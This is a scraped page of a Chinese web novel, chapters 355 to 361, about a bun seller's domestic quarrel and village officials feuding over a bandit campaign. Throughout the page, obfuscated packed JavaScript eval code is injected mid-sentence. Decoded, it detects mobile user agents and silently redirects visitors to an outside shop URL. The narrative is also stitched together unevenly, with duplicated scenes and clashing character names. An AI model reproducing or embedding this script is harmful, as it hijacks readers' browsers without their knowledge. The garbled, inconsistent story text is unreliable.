“咋就这么没用呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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距离上次被顾明远的打手打伤,已经过去了好几个月。 第三百五十五章 这几个月里,符福只能躺在床上养伤,家里全靠葛如烟一人支撑。 眼看着年关将近,家里的积蓄却越来越少。 符福心急如焚,不顾伤势未愈,执意要出来摆摊。 “炊饼!新出炉的炊饼!又香又软,不好吃不要钱!” 符福扯着嗓子,卖力地吆喝着。 他家的炊饼在清阳县是出了名的,松软可口,老少皆宜。 没过多久,摊位前就围满了人。 “符福,你可算来了!这些天没吃你家的炊饼,我都馋坏了!” 一位老主顾笑着说道, “赶紧给我来五个,我带回去给孙子尝尝!” “好嘞!” 符福一边答应着,一边麻利地给客人装炊饼。 “符福,你这手艺真是没得说,比县城里那些大酒楼做的都好吃!” 另一位客人也赞不绝口。 符福听着顾客们的夸奖,心里乐开了花。 他觉得自己又能为家里出一份力,心里踏实多了。 半天下来,符福带来的炊饼就卖了个精光。 他挑着空担子,哼着小曲,兴冲冲地往家走。 “今天赚的钱,够给娘子买支新簪花了。” 符福心里美滋滋地想着。 走到家门口,符福却突然停下了脚步。 他看到一个身形肥胖的男人,正站在他家门前,鬼鬼祟祟地来回走动。 符福心头一紧,一种不祥的预感涌上心头。 他眯起眼睛,努力想看清那人的长相,可距离太远,始终看不真切。 他担心是来找葛如烟的,加快了脚步。 就在这时,那胖男人似乎察觉到了什么,突然转过身,一溜烟钻进了隔壁的茶坊。 符福生性懦弱,哪敢追进茶坊里去质问? 他只得强压下心头的怒火,硬着头皮往家走。 刚走到门口,就听到屋里传来一阵说话声。 “玉环啊,不是我说你,那姓西门的有什么不好?人家有钱有势,长得又一表人才,比你家那个‘四脚虎’强到哪儿去了!” 这是隔壁张婆的声音。 符福如遭雷击,差点没站稳。 他只觉得浑身的血液都涌到了头顶,耳朵里嗡嗡作响。 “你……你老实跟张婆说,你家那个……他到底行不行啊?” 张婆的声音再次传来,语气中充满了戏谑和挑逗, “我老婆子看他那副模样,八成是不中用的……” 符福再也忍不住了,他“咣当”一声扔下担子,冲进了屋里。 “你们……你们在说什么?!” 他瞪着血红的双眼,嘶声吼道, “葛如烟!你……你是不是背着我做了什么见不得人的事?!”“玉环我可没瞎说,那欧阳麻官人可是块香饽饽,模样俊,家底厚,你可得把眼珠子擦亮点!” 隔壁张婆的嗓音像磨砂纸一样,刮得符福耳膜生疼。符福脚下一顿,脸色瞬间由白转青,又由青转黑。 “你……你个多嘴的老货,瞎咧咧啥?” 符福从牙缝里挤出几个字,指节被他捏得“咔咔”作响,终究还是没敢破口大骂。 他这人,属鹌鹑的,胆小怕事,平日里受了气也只敢打落牙齿和血吞。 可今儿这事……符福“呸”地往地上啐了一口,心里那团火“腾”地一下就蹿了起来,哪个爷们能受得了这个? 他强压着火气,硬着头皮往自家院里走。 今儿非得把这事弄个水落石出不可! …… “哎呦喂,这是哪位爷爷下手这么不知轻重……” 张婆被吓得一哆嗦,声音都变了调,像被踩了尾巴的老猫。 她本以为好事将近,谁知乐极生悲。等她看清来人是谁,心中的旖旎瞬间消散,只剩下无尽的懊恼。 原本闭着的眼睛猛地睁开,却只看到一个肥硕的背影,正以与体型不符的速度“飞”出了门。 “好你个死胖子,占了老娘的便宜还想溜?没门!” 张婆双手叉腰,气沉丹田,试图提气追赶。无奈这身子骨不争气,刚迈出一步就险些闪了腰。 她只能眼睁睁看着那“作案凶手”消失在街角,气得直跺脚,却又无可奈何。 这亏吃大了!这口气难咽! …… 葛如烟一路跌跌撞撞逃回家,心脏“扑通扑通”狂跳,仿佛要从胸腔里蹦出来。 她做梦也没想到,那肥掌柜看着人模狗样的,竟如此胆大妄为!光天化日之下就敢对她动手动脚! 幸亏自己机灵……葛如烟拍着胸口,一阵后怕。 从那以后,她是打定主意,绝不轻易踏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我血口喷人?你倒是说说,你跟那个姓西门的,到底是什么关系! 第三百五十六章 ” 符福步步紧逼,完全不给葛如烟喘息的机会,眼睛瞪得铜铃一般大。 “我……” 葛如烟张了张嘴,却发现自己百口莫辩。 毕竟,她确实和欧阳峰有过瓜葛,虽然……虽然清清白白。 可这种事,黄泥巴掉裤裆,不是屎也是屎了! “哼,无话可说了吧?你个**,看我不打死你!” 符福怒火攻心,顺手抄起墙角的扫帚,胳膊上的肌肉高高隆起,就要动手。 “哎呦,符福,使不得,使不得啊!有话好好说嘛!” 张婆见状,连忙一个箭步冲上前,伸出双臂,试图拦住符福。 “你给我滚一边去,老虔婆!这里没你的事!” 符福一把将张婆推开,力气大得差点把张婆掀翻在地,举起扫帚就要朝葛如烟身上招呼。 …… “别打了,别打了,当家的,你听我解释……” 葛如烟吓得花容失色,连连后退,一个不小心,被凳子绊倒在地。 “还有什么好解释的?你这个**,看我不打死你!” 符福哪里肯听,挥舞着扫帚,像失心疯了一样,劈头盖脸地朝葛如烟打去。 一时间,屋里乱作一团,扫帚的“呼呼”声,葛如烟的尖叫声,张婆的劝架声,混成一片。 张婆嘴上说着劝架的话,实则火上浇油: “符福啊,我可跟你说,这娘们儿不能惯着,三天不打,她就敢上房揭瓦!” 符福听了这话,更是怒火中烧,七窍生烟。 他一边追打葛如烟,一边冲张婆怒吼: “你个老不死的东西,给我闭嘴!再敢胡咧咧,老子连你一块揍!” …… “二哥,二哥,成了,成了!” 凌木匠举着一个寒光闪闪的枪头,像一阵风似的冲进院子,老远就嚷嚷开了。 “哦?这么快?” 苏阳放下手中的茶碗,快步迎了上去。 接过枪头,苏阳仔细端详。 只见这枪头乌黑锃亮,刃口锋利如刀,枪尖闪着寒光,一看就不是凡品。 “好!好!好!” 苏阳连声称赞, “铁匠,你立了大功,真乃神匠也!” 他用力拍着凌木匠的肩膀, “说吧,想要点啥赏?” 凌木匠嘿嘿一笑,露出两排洁白的牙齿, “二哥,俺啥也不要,只要能帮上二哥的忙,俺就心满意足了!” “那怎么成?” 苏阳一瞪眼, “赏罚分明,才能服众!这样吧,我赏你十两纹银!” “十两?!” 凌木匠吓了一大跳,眼珠子都快掉出来了,一个劲儿地摆手, “二哥,这可使不得,使不得啊!俺就是个打铁的,哪能要这么多银子!” “拿着!这是你应得的!” 苏阳不由分说,将十两银子塞进凌木匠手里,又转头对院子里其他工匠大声说道: “诸位,往后谁要是有啥新奇的玩意儿造出来,只管来找我,都有赏!大大的赏!” 苏阳这番话,像是一颗火星,瞬间点燃了在场所有工匠的热情。 原本还有些拘谨的工匠们,一个个挺直了腰杆,眼睛里闪烁着兴奋的光芒。 有人甚至等不及散工,就想立刻回去,把那些琢磨了许久的想法付诸实践。 “报!” 就在这时,一个卫村队员急匆匆地跑了进来。 “二哥,三溪镇来人了!” 苏阳眉头微微一皱。 “三溪镇?这时候来干嘛?” “说是严巡检有请,让您去一趟,有要事相商。”卫村队员喘着粗气答道。 “哦?” 苏阳摸了摸下巴,沉吟片刻, “知道了,备马!”“报!” 一声急促的喊叫,打破了青龙村村公所的宁静。 一个年轻后生,脚下像踩了风火轮,冲进院子。 “二哥!三溪镇来人了!” 苏阳眉头一挑,手指轻轻敲打着桌面。 心想:这严巡检,大过年的,又在整什么幺蛾子? “来人干啥的?” 苏阳放下手中的茶碗,不紧不慢地问道。 “说是严巡检请您过去,有要事相商。” 后生喘着粗气,回答。 苏阳摸了摸下巴,眼珠子滴溜溜地转了两圈。 大过年的,能有什么要事? 该不会是摆了鸿门宴吧? 苏阳心里泛起了嘀咕。 “知道了,备‘马’!” 不管咋说,面子上的事儿得过得去。 人家正牌巡检相召,咱一个当副手的,总不能驳了人家的面子。 苏阳一边在心里盘算着,一边吩咐手下准备。 备马? 当然不是真马。 是滑雪板。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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强压下心头的怒火,严巡检开始给自己做心理建设: “算了,跟一个泥腿子置什么气?能送点啥就知足吧,还指望他能送出什么好东西来? 第三百五十七章 ” 这么一想,他心里总算是舒服了点。 “咳咳,”严巡检清了清嗓子,尽量让自己的声音听起来和蔼可亲,“苏老弟啊,快,快请坐!来人啊,给苏、苏巡检,上茶!” 他故意把“苏巡检”三个字咬得很重,想看看苏阳的反应。 结果,苏阳像是没听见一样,大马金刀地往椅子上一坐,还翘起了二虎腿。 那副气定神闲的样子,哪像是来给上司拜年的,倒像是来视察工作的。 两人面对面坐着,一个比一个会演戏。 严巡检心里憋着火,苏阳心里装着事,谁都不想先开口。 就这么大眼瞪小眼,干坐了半天。 最后,还是严巡检沉不住气了。 他琢磨着,这苏阳八成是不知道过年剿匪的风声,所以才这么淡定。 得,还是自己先开口吧,免得这小子事后找借口推脱。 “苏老弟啊,”严巡检清了清嗓子,换上一副语重心长的语气,“老哥这次找你来,是有件大事要跟你商量。” “哦?什么大事?”苏阳故作惊讶地问道。 “是这样的,”严巡检顿了顿,才接着说道,“你也知道,咱们清阳县,土匪可不少。这大过年的,他们也不消停,四处劫掠,搞得老百姓人心惶惶。所以,我想着,咱们是不是应该趁着这个机会,给他们来个狠的,让他们知道知道,谁才是清阳县的天!” 严巡检一边说,一边观察着苏阳的反应。 他希望看到苏阳脸上露出震惊、愤怒、或者是不知所措的表情。 然而,他失望了。 苏阳只是微微皱了皱眉,像是在思考什么问题。 严巡检心里顿时有些不爽。 这小子,也太沉得住气了吧? 难道他真的一点都不怕? 还是说,他有什么别的打算? 他哪里知道,苏阳心里早就乐开了花。 剿匪? 这可是个好机会啊! 正好可以趁机削弱其他村子的实力,壮大自己。 不过,这事儿不能表现得太积极,得让严巡检觉得自己是在帮他。 “严巡检,”苏阳沉吟了片刻,才缓缓开口,“剿匪是好事,我当然支持。不过,这大过年的,让各村出人出粮,恐怕不太好吧?万一要是闹出点什么乱子来……” 他故意把“出人出粮”四个字说得很重,就是想提醒严巡检,这事儿可没那么容易。 “这个你放心,”严巡检大手一挥,满不在乎地说道,“我已经想好了,这次剿匪,各村都要出人出粮!至于青龙村嘛……为了表示对你的感谢,这次就免了!” 他说这话的时候,脸上带着一丝得意,似乎觉得苏阳一定会感恩戴德。 苏阳听了,差点没笑出声来。 这严巡检,也太天真了吧? 真以为自己会为了这点小恩小惠,就对他感恩戴德? 他想得美! 苏阳装出一副感激涕零的样子,连连拱手:“哎呦,这怎么好意思,多谢严巡检,您真是青天大老爷再世……” 心里却在盘算,该怎么利用这次机会,把青龙村的实力再提升一个档次。 至于严巡检的死活,他才懒得管呢。 他巴不得严巡检倒霉呢,这样自己才有机会取而代之。 征粮? 呵呵,这不就是逼着老百姓**吗? 严巡检以为自己很聪明,实际上,他这步棋,等于是把自己架在火上烤。 苏阳已经打定主意,到时候出工不出力,让严巡检自己去头疼。 最好是能让他吃个大亏,到时候自己再出面收拾残局,岂不美哉? …… 镜头一转,清阳县,凤子楼。 二楼雅间里,一个胖大的身影正襟危坐,油光满面的脸上,堆满了笑容。 他对面,一个瘦小的汉子正跪在地上,头都不敢抬。 “孙玉哥,你做得很好。”肥掌柜的声音,像是从喉咙里挤出来的一样,带着几分阴冷,“事成之后,少不了你的好处。”“大官人,小的……掌握了钱掌柜的行踪……” 孙玉哥的声音嘶哑得像是被砂纸磨过,每一个字都带着垂死挣扎的颤抖,像一条被逼到绝路的野狗,发出最后的哀嚎。 这句话,宛如一道惊雷,劈在了凤子楼二楼雅间的空气中,震得人耳膜嗡嗡作响。 肥掌柜猛地从椅子上弹了起来,屁股下的圆凳被他带倒,咕噜噜滚到一边。 他脸上的肥肉因为惯性剧烈摇晃,眼睛瞪得比牛眼还大,死死盯着瘫在地上的孙玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如今肥掌柜招人,只看谁更像牲口,早就不管什么良心了。 于是,孙玉哥就倒了大霉。 第三百五十八章 那一顿毒打,简直比杀猪还惨。 他感觉自己像是一块破抹布,被人在地上反复捶打、蹂躏。 五脏六腑都像是移了位,每一根骨头都在哀嚎。 昏死过去,又被一盆冷水泼醒; 刚刚缓过一口气,又是一顿拳打脚踢…… 如此循环往复,生不如死。 再次从昏迷中醒来,孙玉哥的意识已经开始涣散。 他知道,再这么下去,自己就算不死,也要变成一个废人。 不行,得想办法活下去! 求生的本能让孙玉哥的脑子飞速运转。 “说!钱福生在哪儿?”肥掌柜走到他面前,一脚踩在他的胸口,恶狠狠地问道,“小兔崽子,你要是敢撒谎,老子今天就让你见阎王!” 孙玉哥疼得龇牙咧嘴,却不敢有丝毫隐瞒。 他断断续续地,把在青龙村见到钱福生和钱晓柔的事情,一五一十地全都说了出来。 为了保命,他甚至把自己怎么被苏阳识破,怎么被乡勇们赶出青龙村的糗事,也全都抖落了出来。 肥掌柜听完,脸色一阵青一阵白。 他信了大半。 他了解孙玉哥这种人,欺软怕硬,胆小如鼠。 在自己手里,他绝不敢说谎。 就算有些夸大的成分,但钱福生和钱晓柔出现在青龙村这件事,八成是真的! “苏二……又是你!” 肥掌柜的眼中燃起熊熊怒火,几乎要把牙齿咬碎。 自己朝思暮想的小娘子,竟然落到了苏阳的手里! 这简直比杀了他还难受! 简直是是可忍孰不可忍! 原本他还想着过些日子再收拾苏阳,现在看来,一天都不能等了! 怒火攻心的同时,肥掌柜也感到一阵阵后怕。 他意识到一个更严重的问题——钱福生很可能已经知道了自己和青虎岭土匪之间的那些见不得人的勾当! 如果他把这些告诉了苏阳,后果不堪设想! 孙玉哥可是说了,苏阳现在当上了三溪镇的团练使。 万一苏阳把这事捅到县衙,自己就算不死,也要脱层皮! 不行,不能坐以待毙! 可是,苏阳那小子整天龟缩在青龙村,难道要直接带队冲锋不成? 那青龙村的乡勇可不是闹着玩的,真要打起来,自己这点人还不够人家塞牙缝的。 想到这里,肥掌柜急得抓耳挠腮,在房间里来回踱步,像一只被困在笼子里的野兽。 符大娘子的事,早就被他忘到爪哇国去了。 不知过了多久,肥掌柜的眼睛突然一亮。 一条阴险毒辣的计策,在他的脑海中逐渐成形。 “孙玉哥,你想不想活命?” 肥掌柜的声音突然变得阴森可怖,让人毛骨悚然。 孙玉哥吓得一哆嗦,连连点头: “想活!想活!大官人开恩,小的想活!” “想活命?那就好办了。” 肥掌柜的脸上露出一丝诡异的笑容,让人不寒而栗。 “只要你乖乖替我办件事,以前的那些破事,老子就既往不咎。怎么样,划算吧?” 孙玉哥的心里“咯噔”一下,升起一股不祥的预感。 他太了解肥掌柜了,这笑面虎绝对不会让自己做什么好事。 可是,人为刀俎,我为鱼肉,他还有选择的余地吗? 看到孙玉哥像小鸡啄米一样点头,肥掌柜满意地笑了笑,转身走出了房间。 片刻之后,他拿着一封信回来了,直接塞进孙玉哥手里。 “拿着,找个没人的地方,把这封信仔细看看。看完之后,今晚三更,把它扔到郑县尉家的后院。记住,一定要神不知鬼不觉,不能让任何人发现。只要你把这件事办妥了,以后就可以继续在清阳县混饭吃,老子绝不为难你。” 肥掌柜脸上的笑容越发诡异,像一条毒蛇吐着信子。 孙玉哥只觉得一股寒气从脚底板直窜到头顶,差点吓尿了。 大半夜的,偷偷摸摸给郑县尉家里送信? 这**不是要自己的老命吗! 这要是被发现了,自己还有活路吗? 可眼下,除了硬着头皮答应,他还能怎么办? “大官人放心,小的就是豁出这条命,也一定把事情办得漂漂亮亮!要是出了半点差错,您……您就把我的脑袋拧下来当球踢!” 孙玉哥哆哆嗦嗦地保证道,声音都变了调。 …… 再说苏阳,对于肥掌柜的阴谋诡计一无所知。 此时此刻,他正和严明德讨论着剿匪的细节。 让苏阳感到纳闷的是,严明德今天一反常态,话多得像个娘们,东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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行,既然你严明德不仁,那就别怪我苏阳不义!“巡检大人,我们临溪村派人参战也没问题,说到这里还有一事,还请大人为小民做个决断! 第三百五十九章 ” 仲河“腾”地一下站了起来,打断了苏阳刚要反击严明德的势头。 严明德的表情瞬间切换,哪还有和苏阳闲聊时的半点影子。 他眯缝起眼睛,官威十足: “讲。” 简单一个字,却带着不容置疑的压迫感。 仲河紧张地咽了口唾沫,余光扫过气定神闲的苏阳,心里打鼓,却也只能硬着头皮继续: “大人,俺们村,好多人都跑去苏副巡检的青龙村了……您得让苏副巡检把人还回来!不然缺人,凑不齐五十个乡勇!” 仲河低着头,不敢看严明德的脸色。 “哦?” 严明德故意拉长了音调,目光玩味地看向苏阳。 苏阳则是轻轻摩挲着下巴。 这仲河,也想来捅自己一刀? 有意思。 没等严明德有所回应,清水村的村正乜明生也“噌”地站了起来,语气比仲河更冲: “巡检大人,俺们清水村也一样!苏副巡检,他弄走了俺们村最能干的那些后生!他不放人,我们村即便东拼西凑能找来五十个壮丁,也是些歪瓜裂枣,中看不中用!” 乜明生说话时,眼睛死死盯着地面,像是要把地面盯出一个洞来。 他生怕看到苏阳那**般的眼神。 依山村的夏岭一看,这可是千载难逢的好机会! 趁他病,要他命! 他也立马起身,话里藏针: “对啊,巡检大人!苏副巡检前些日子还来俺们村,说是借几个猎户用用,这一用,可就没影儿了!” 夏岭这话,明着是说借人,暗地里却是在指责苏阳强取豪夺。 几个村正轮番上阵,把矛头都指向了苏阳。 一时间,屋子里的气氛变得剑拔**张。 只有临溪村的王麻山,像个没事人似的,稳坐钓鱼台。 他低着头,眼皮耷拉着,似乎真的睡着了。 只是,他那微微颤抖的胡须,暴露了他内心的紧张。 “呼噜……呼噜呼噜……” 这老家伙,竟然还真的打起了呼噜! 声音不大,但在安静的房间里格外清晰。 大伙你看看我我看看你,都不知道这老家伙葫芦里卖的什么药。 严明德的脸色,已经不能用难看来形容了。 他本来想借着几个村正发难的机会,好好敲打敲打苏阳。 结果,这王麻山一通呼噜,直接把紧张的气氛给打散了。 更让他恼火的是,他竟然不知道王麻山是真睡还是装睡! 严明德心里跟明镜似的,这几个村正,没一个省油的灯。 他来三溪镇上任那天,就看出来了。 这帮家伙,表面上对苏阳毕恭毕敬,实际上,个个都心怀鬼胎。 今天这出戏,与其说是几个村正联手对付苏阳,倒不如说是他们想借自己的手,除掉苏阳这个心腹大患! 想到这里,严明德看向王麻山的眼神,更加阴冷了。 这老东西,要么是跟苏阳穿一条裤子,要么就是想坐山观虎斗! 不管是哪一种,都让严明德心里很不舒服。 他猛地一拍桌子,指着王麻山厉声喝道: “王麻山!你眼里还有没有本官?!” 这突如其来的一声怒喝,把所有人都吓了一跳。 王麻山更是直接从椅子上蹦了起来,差点没一屁股坐地上。 他揉了揉惺忪的睡眼,一脸茫然地看着严明德: “巡检大人,您这是……?” “这是什么地方?由得你在这儿睡觉?” 严明德的声音更冷了,像是从冰窖里捞出来的一样。 王麻山这才回过神来,连忙告饶: “巡检大人息怒,巡检大人息怒!小老儿实在是……实在是太累了……” 他一边说,一边偷偷观察着严明德的脸色。 “太累了?我看你是老糊涂了吧!” 严明德冷笑一声, “来人啊,把王麻山给我拖下去,重打二十大板!” 这话一出,所有人都惊呆了。 谁也没想到,严明德竟然会突然对王麻山发难! 王麻山更是吓得魂飞魄散,扑通一声跪倒在地,连连磕头: “巡检大人饶命!巡检大人饶命啊!” 几个衙役互相看了看,一时竟不知该如何是好。 严明德见状,更是火冒三丈。 “怎么,你们的耳朵都聋了吗?!” 几个衙役这才反应过来,连忙上前,架起王麻山就往外拖。 “巡检大人,您听我解释……我真的是太累了……最近为了村里的事,我……” 王麻山还在拼命挣扎,试图为自己辩解。 可他的话还没说完,就被严明德打断了: “不用解释了!本官不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所有人的目光,像聚光灯一样,齐刷刷地打在他身上,焦点集中。 第三百六十章 大家都想瞧瞧,这位最近在三溪镇风头无两的苏副巡检,葫芦里到底卖的什么药。 “既然严巡检看得起我,非要让我说几句,”苏阳嘴角勾起一抹若有若无的笑,顿了顿,才慢悠悠地接了下去,“那我就……恭敬不如从命了。” 这话说得,不卑不亢,还带着三分让人琢磨不透的玩味。 严明德的脸,唰的一下就绿了,像是被人当众抽了一耳光。 他心里那股子邪火,腾地一下就蹿了起来,几乎要从头顶冒出来: “让你给老子说清楚,让你交代!谁让你在这儿摆谱了?还‘请’你‘说几句’?” “你小子是真把自己当成个人物了是吧?就算是县太爷驾到,也没你这么大的架子!” 严明德心里憋屈得要死,恨不得立马就把苏阳给按在地上摩擦。可他没想到,更让他憋屈的还在后头呢。 那几个村正,一个个比严明德还郁闷,像是吞了苍蝇一样难受。 他们原本指望着严明德能给苏阳一个下马威,自己好跟着摇旗呐喊,顺便捞点好处。 可谁曾想,苏阳这小子非但不怕,反而还摆出一副理直气壮的样子,简直是没把他们放在眼里。 “都这时候了,还在这儿装腔作势,真以为自己能一手遮天了?”几个村正心里暗自咒骂,却又不敢表露出来,只能眼巴巴地瞅着苏阳,像是在看戏,又像是期待着什么。 苏阳似乎是感受到了众人各异的目光,他脸上的笑容反倒更盛了,仿佛一切尽在掌握。 “首先,我得澄清一下,”苏阳清了清嗓子,语气一转,“我压根就没收过任何苛捐杂税,半个子儿都没收过。凡是来咱青龙村帮工的兄弟,那都是心甘情愿,自己要去的。” 这话一出口,别人还没来得及反应,王麻山额头上的汗就“唰”的一下冒了出来,豆大的汗珠子沿着脸颊往下淌,像是刚从水里捞出来一样! 他屁股底下的凳子像是长了钉子一样,让他坐立不安,差点没忍住直接跳起来,扯着嗓子大喊:“别去!千万别去青龙村!那是个坑啊!” 别人不知道苏阳的底细,他王麻山还能不清楚吗? 他可是亲眼见过苏阳在青龙村开会时的“盛况”,那场面,至今回想起来都让他心惊肉跳。 青龙村那帮人,一个个都跟被苏阳洗了脑似的。 “苏二说什么,他们就乖乖照做,让干啥就干啥,比谁都听话!”王麻山心里直打鼓,他可是亲眼见过苏阳是怎么“忽悠”村民的,那场面,比戏台上的说书先生还能白话。 王麻山心里跟明镜似的,严明德真要带人去青龙村“考察”,那可就羊入虎口了! “不成,我得想个辙……”王麻山眼珠子滴溜溜乱转,心里开始盘算起来。 关键时刻,还得靠自己。指望严明德这帮人?悬! “苏副巡检,你这话就见外了,我可没有责怪你的意思。”严明德眼珠子一转,立马换上了一副笑脸,语气也变得和蔼可亲起来,“只是,你也知道,最近这不太平,土匪闹得凶,各村的乡勇都缺人手。你看这样行不行,让乡亲们都先回家吧,等剿完匪,再让他们去青龙村帮忙,你看如何?” 严明德一番话说得冠冕堂皇。 他这可不是怕了苏阳,更不是要给苏阳什么面子。 说白了,他就是想借着“剿匪”的名义,把各村的乡勇都牢牢抓在手里。 这年头,手里有人,腰杆子才硬! 只要把各村的乡勇都控制住了,他还怕苏阳翻出什么浪花来? 几个村正一听这话,顿时就不乐意了。 他们眼巴巴地等着严明德发威,把苏阳给收拾了,自己好跟着捡点便宜。 可现在倒好,严明德竟然主动给苏阳找台阶下,这算怎么回事? “姓曹的,你这葫芦里卖的什么药?合着我们几个老家伙,在你眼里就是个屁?”几个村正心里那个气啊,可又不敢当面锣对面鼓地跟严明德叫板,只能在心里干着急。 他们哪里知道,严明德心里打的什么算盘。 苏阳是李县令亲点的副巡检,这事儿在三溪镇,那可是公开的秘密。 严明德就算再怎么想把苏阳给踩下去,也不敢明目张胆地跟他对着干。 毕竟,打狗还得看主人呢! 真要是把苏阳给惹急了,他在李县令面前告自己一状,那自己可就吃不了兜着走了。 严明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691210|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德心里的小九九,在场的几个人,谁也没猜透。 他们只看到严明德对苏阳“客客气气”,却没看到他背地里使的绊子。 可他们万万没想到,苏阳根本就不吃他这一套。 “剿匪?这有什么难的?”苏阳突然话锋一转,脸上露出一个意味深长的笑容,让人捉摸不透。 这一句话,如平地惊雷,震得屋里所有人都愣住了。 严明德更是感觉自己像是被人狠狠地抽了一巴掌,脸上火辣辣的疼。 “这小子……他想干什么?难道他真想一个人去剿匪?” “不行!绝对不行!要是真让他把土匪给剿了,那我这巡检还当个屁啊!” 严明德心里顿时警铃大作,他可不想让苏阳抢了自己的风头。 几个村正也傻眼了。 他们你看看我,我看看你,一个个都跟丈二的和尚——摸不着头脑。 “这苏二……他到底想干啥?难不成真想单枪匹马去剿匪?” “这小子,该不会是疯了吧?就凭他那点人,还想剿匪?简直是痴人说梦!” 几个村正心里嘀咕着,可转念一想,又觉得这事儿似乎没那么简单。 要是苏阳真能一个人把土匪给剿了,那他们这些村子岂不是就不用出人出粮了? 这可是一笔不小的开销啊! 想到这里,几个村正的心思顿时就活络起来了。 “要是苏阳真能把土匪给剿了,那我们岂不是可以省下一大笔钱粮?” “这……这可真是天上掉馅饼的好事啊!” 几个村正心里美滋滋地想着,看向苏阳的眼神也变得有些不一样了。 原本的敌意和警惕,似乎都消散了不少,取而代之的,是一种难以言喻的期待。 “苏副巡检,你的心情我能理解,年轻人嘛,有冲劲是好事。可是,这剿匪可不是儿戏,土匪也不是那么好对付的。依我看,咱们还是从长计议,大家一起努力,尽量避免人员损失,你看怎么样?” 严明德还在试图挽回局面,他可不想让苏阳真的一个人去剿匪。 几个村正心里那个急啊,恨不得冲上去捂住严明德的嘴,让他别再说了。 第三百六十一章 “苏二啊苏二,你可千万别答应他!你就跟他对着干,让他下不来台!” “只要你能一个人把土匪给剿了,我们几个老家伙,以后就唯你马首是瞻!” 几个村正眼巴巴地瞅着苏阳,心里默默地祈祷着。 可谁知,苏阳竟然“怂”了。 “哎,既然严巡检你这么‘为国为民’,我再坚持,就显得不识大体了,” 苏阳叹了口气,摆出一副“勉为其难”的样子,让人分不清他到底是真心还是假意。 “那就……听严巡检的,大家一起出人,一起出力吧。” 苏阳这话一出口,几个村正差点没气得背过气去。 “苏二啊苏二,你……你咋就这么怂呢?刚才那股子冲劲呢?哪儿去了?” “你倒是跟他硬刚啊!你跟他干起来,我们才好坐收渔翁之利啊!” 几个村正心里那个气啊,简直比**亲爹还难受。 他们眼睁睁地看着苏阳“认怂”,却又无计可施,只能在心里干着急。 “这下完了,煮熟的鸭子飞了……”王麻山一屁股坐在椅子上,感觉浑身的力气都被抽干了。 他原本还指望着严明德能帮他出口恶气,可现在看来,这事儿是彻底没戏了。 “严明德啊严明德,你可真是个废物!连个毛头小子都收拾不了,还当个屁的巡检!” 王麻山心里把严明德骂了个狗血淋头,可又不敢表露出来,只能打碎了牙往肚子里咽。 他现在最担心的,是苏阳会怎么对付他。 毕竟,自己之前可是没少给他使绊子。 现在苏阳“大获全胜”,肯定不会轻易放过自己。 “这可咋办啊……”王麻山愁得直挠头,感觉自己的头发都快要被薅光了。 就在这时,他突然发现,屋里其他几个村正,脸色也都跟他差不多,一个个都跟**爹娘一样难看。 王麻山心里顿时就平衡了。 “嘿,原来不止我一个人倒霉啊!这几个老家伙,估计也好不到哪儿去!” 他心里暗自得意,原本的沮丧和担忧,似乎都减轻了不少。 就在这时,苏阳突然站起身来,慢悠悠地走到几个村正面前,笑眯眯地说道: “几位,既然咱们都是‘同僚’,那以后可得多多‘亲近亲近’啊。” 苏阳这话,听起来像是客套话,可落在几个村正耳朵里,却让他们感觉后背一阵发凉。 “这小子……他想干什么?” “他该不会是想秋后算账吧?” 几个村正心里七上八下,忐忑不安。 他们现在才意识到,自己之前的所作所为,似乎是有些太“过火”了。 “这下可真是搬起石头砸自己的脚了……”几个村正心里懊悔不已。 